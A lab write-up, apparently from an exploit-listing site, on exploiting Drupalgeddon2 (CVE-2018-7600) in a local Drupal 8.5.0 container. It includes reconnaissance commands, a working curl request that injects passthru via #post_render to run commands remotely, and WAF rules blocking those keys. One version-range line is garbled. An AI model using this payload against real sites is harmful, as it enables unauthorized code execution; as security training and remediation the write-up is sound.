Share
## https://sploitus.com/exploit?id=138C7B48-B49C-5952-A864-0582827BBD1D
# LAB 9-CVE-2018-7600

## **I. SYSTEM ANALYSIS**

### **Identify Attack Surface**

Start by listing the running containers:

`docker ps`

From the `docker ps` results, the container for this Lab is:

![image.png](image.png)

`p1/lab09:latest`

This container exposes port:

`0.0.0.0:8011->80/tcp`

This indicates that the service inside the container is listening on port `80/tcp`, and is mapped to port `8011` on the host.

Port `80/tcp` is the standard port for HTTP. Therefore, this target lab is highly likely an HTTP web application. To confirm the web service, I send an HTTP request using `curl` combined with accessing the web page's GUI.

[](https://curl.se/favicon.ico)

`curl -i http://192.168.3.137:8011/`

![image.png](image%201.png)

![image.png](image%202.png)

**Attack Surface Assessment**

From the HTTP response and web interface, the following information was identified:

`Web server: Apache/2.4.25 (Debian)
Backend: PHP/7.2.3
CMS: Drupal
Drupal version: 8.5.0
Install path: /core/install.php
Public port: 8011 -> 80/tcp`

This information serves as crucial **fingerprints** to correlate with CVEs. Specifically, **Drupal 8.5.0** is the version directly related to **CVE-2018-7600**, also known as **Drupalgeddon2**.

According to the official **Drupal** advisory, **SA-CORE-2018-002 / CVE-2018-7600** affects the following versions:

`>= 8.5.0 =8.5.0 = 8.5.0  Thinking:**

We need to further prove that **Drupal** in its runtime state can process the **vulnerable routes/forms, that an attacker can access the endpoints without authentication, and that verification payloads like `id` can execute successfully**.

On the current target, the endpoints redirect to the installer, so the next path **is to assess whether the Drupal installation screen creates its own attack surface, instead of immediately concluding a Drupalgeddon2 RCE**.

### **Assessing the attack surface of the Drupal installer**

After checking that the Drupal runtime endpoints like `/user/register`, `/user/password`, and `/user/login` are all **redirected** to `/core/install.php`, I proceeded to **analyze the installer screen**.

**Checking the database service supporting the installer**

Since the Drupal installer is currently halted at the database configuration step, I checked if common database services are exposed externally:

`nmap -sV -p 3306,5432,33060 192.168.3.137`

![image.png](image%205.png)

The target currently exposes the `Drupal installer` externally, but no database services accessible directly from the attacker's machine have been detected.

**Conclusion:** The lab **exposes the Drupal 8.5.0 installer** and has **information disclosure** regarding the **vulnerable version. CVE-2018-7600** is a valid suspected vector, but successful exploitation has not yet been proven.

### **Exploitation Conditions for CVE-2018-7600**

**CVE-2018-7600** exploits a vulnerability in the **Drupal Form API** - the form rendering system that utilizes the **Render Array** structure. When processing an **AJAX request**, Drupal uses the `element_parents` parameter to locate elements in the form tree without checking (sanitizing) keys starting with the `#` character. Attackers inject properties like `#post_render`, `#markup`, and `#type` via POST data to force the rendering engine to execute arbitrary PHP functions (e.g., `exec`, `passthru`, `system`).

Prerequisite condition: **At least one endpoint using the Form API must return a valid response** (not redirected, not blocked by access control) so that the attacker can send an AJAX request containing the payload.

Commonly used endpoints in public PoCs:

- `/user/register` (registration form - no login required)
- `/user/password` (forgot password form - no login required)
- `/user/login` (login form - no login required)

**On the current target:** All 3 above endpoints are **redirected via 302 to `/core/install.php`** โ‡’ **not yet satisfied**

#### **Drupal Form API + Render Array engine must be fully bootstrapped**

The vulnerability occurs within the AJAX processing pipeline of the Form API: `FormBuilder` โ†’ `RenderArray` โ†’ `#post_render callback execution`. This pipeline only operates when Drupal **bootstraps all necessary subsystems** (routing, form state, render engine).

In the **installer** state, Drupal runs in a **minimal bootstrap** mode - only initializing enough to display the installation form, but subsystems like `routing, AJAX handler, and the full render pipeline` **might not yet be fully activated**.

**On the current target:** Drupal is in the installer state โ‡’ **requires further verification**

#### **No WAF or input filtering mechanism blocking the `#` character in requests**

The official Drupal patch adds the `RequestSanitizer` class with the `stripDangerousValues()` method - scanning all of `$_GET`, `$_POST`, and `$_COOKIE`, and stripping any keys starting with `#` in the early stages of bootstrap.

If the target is unpatched (running 8.5.0), the `RequestSanitizer` class **does not exist** โ†’ input containing `#` will not be filtered โ‡’ **satisfied**

#### **Exploitation Conditions Summary**

**Conclusion:** The target satisfies the **version** condition and the **absence of the patch**. However, the **available endpoint** and **full bootstrap** conditions have not yet been demonstrated due to Drupal being in the installer state. The next step is to test whether the **installer form** (`/core/install.php`) - which also uses the Form API and Render Array - can be exploited as a substitute for standard endpoints.

## **II. EXPLOITATION**

After identifying that the target is running `Drupal 8.5.0` in the installer state, standard endpoints typically used to exploit **CVE-2018-7600** such as `/user/register`, `/user/password`, and `/user/login` are all redirected to `/core/install.php`. I figured that this might be because I had not completed the interface setup, but I still wanted to investigate further.

After verification, it was discovered that the installer form uses the same vulnerable `Form API` and `Render Array engine`. However, the **AJAX pipeline** requires the **Form Cache** to work โ€” which by default uses the database as a backend. Because there is no database yet, the AJAX request to the installer form returns a `FormAjaxException` at `FormBuilder.php:333`, confirming that the pipeline is activated but failed at the cache loading step.

**Thinking:** I will install **Drupal** using **SQLite** - a **database that does not require a dedicated server, only file write access to the container disk**.

### **Exploiting CVE-2018-7600 โ€” Remote Code Execution**

With Drupal online, the `/user/register` endpoint functions normally and serves as the injection point. The payload utilizes the render array injection mechanism:

- `element_parents=account/mail/%23value` โ€” locates the `mail` field in the form tree
- `mail[#post_render][]=passthru` โ€” injects the callback function `passthru()`
- `mail[#markup]=id` โ€” the content passed to `passthru()` as an argument

```
curl -v "http://192.168.3.137:8011/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id"
```

![image.png](image%206.png)

**Response Analysis:**

The result `uid=33(www-data)` indicates that the payload was executed on the operating system under the privileges of the **www-data user**. This is the user typically used to run the **Apache/PHP web server on Debian-based Linux**. Since the `id` command executed server-side and returned output, successful **Remote Code Execution** is confirmed. However, the current privilege is `www-data`, not `root`, so the initial control scope is restricted to the web server's permissions.

## **III. RECOMMENDATIONS AND REMEDIATION**

**Endpoint Access Control**

If the site does not require public user registration, disable the `/user/register` endpoint:

- **Admin** โ†’ **Configuration** โ†’ **Account settings** โ†’ **Who can register accounts** โ†’ select **Administrators only**

**WAF Rules โ€” Blocking Characteristic Payloads**

Add WAF rules to block requests containing keys such as `#post_render`, `#pre_render`, or `#markup` in the POST body:

```
SecRule REQUEST_BODY "@contains #post_render" "deny,status:403"
SecRule REQUEST_BODY "@contains #pre_render" "deny,status:403"
SecRule ARGS_NAMES "@rx ^#" "deny,status:403"
```

**Principle of Least Privilege for the Web Server**

The web server must not run under `root` privileges. Lab results confirm the process runs as `uid=33(www-data)` โ€” which is the correct configuration, but the following enhancements should be made:

- Limit write permissions for `www-data` strictly to necessary directories (`sites/default/files/`)
- Mount the filesystem as read-only for code directories (`/var/www/html/core/`, `/var/www/html/modules/`)

**Do Not Expose the Installer to the Internet**

In this lab, the installer is public โ€” an attacker can exploit this to **re-install Drupal** using SQLite and perform exploitation. Real-world production requires:

- Delete or restrict access to `/core/install.php` after installation is complete
- Add an `.htaccess` rule or web server configuration to block external access to `/core/install.php`

```

    Order deny,allow
    Deny from all

```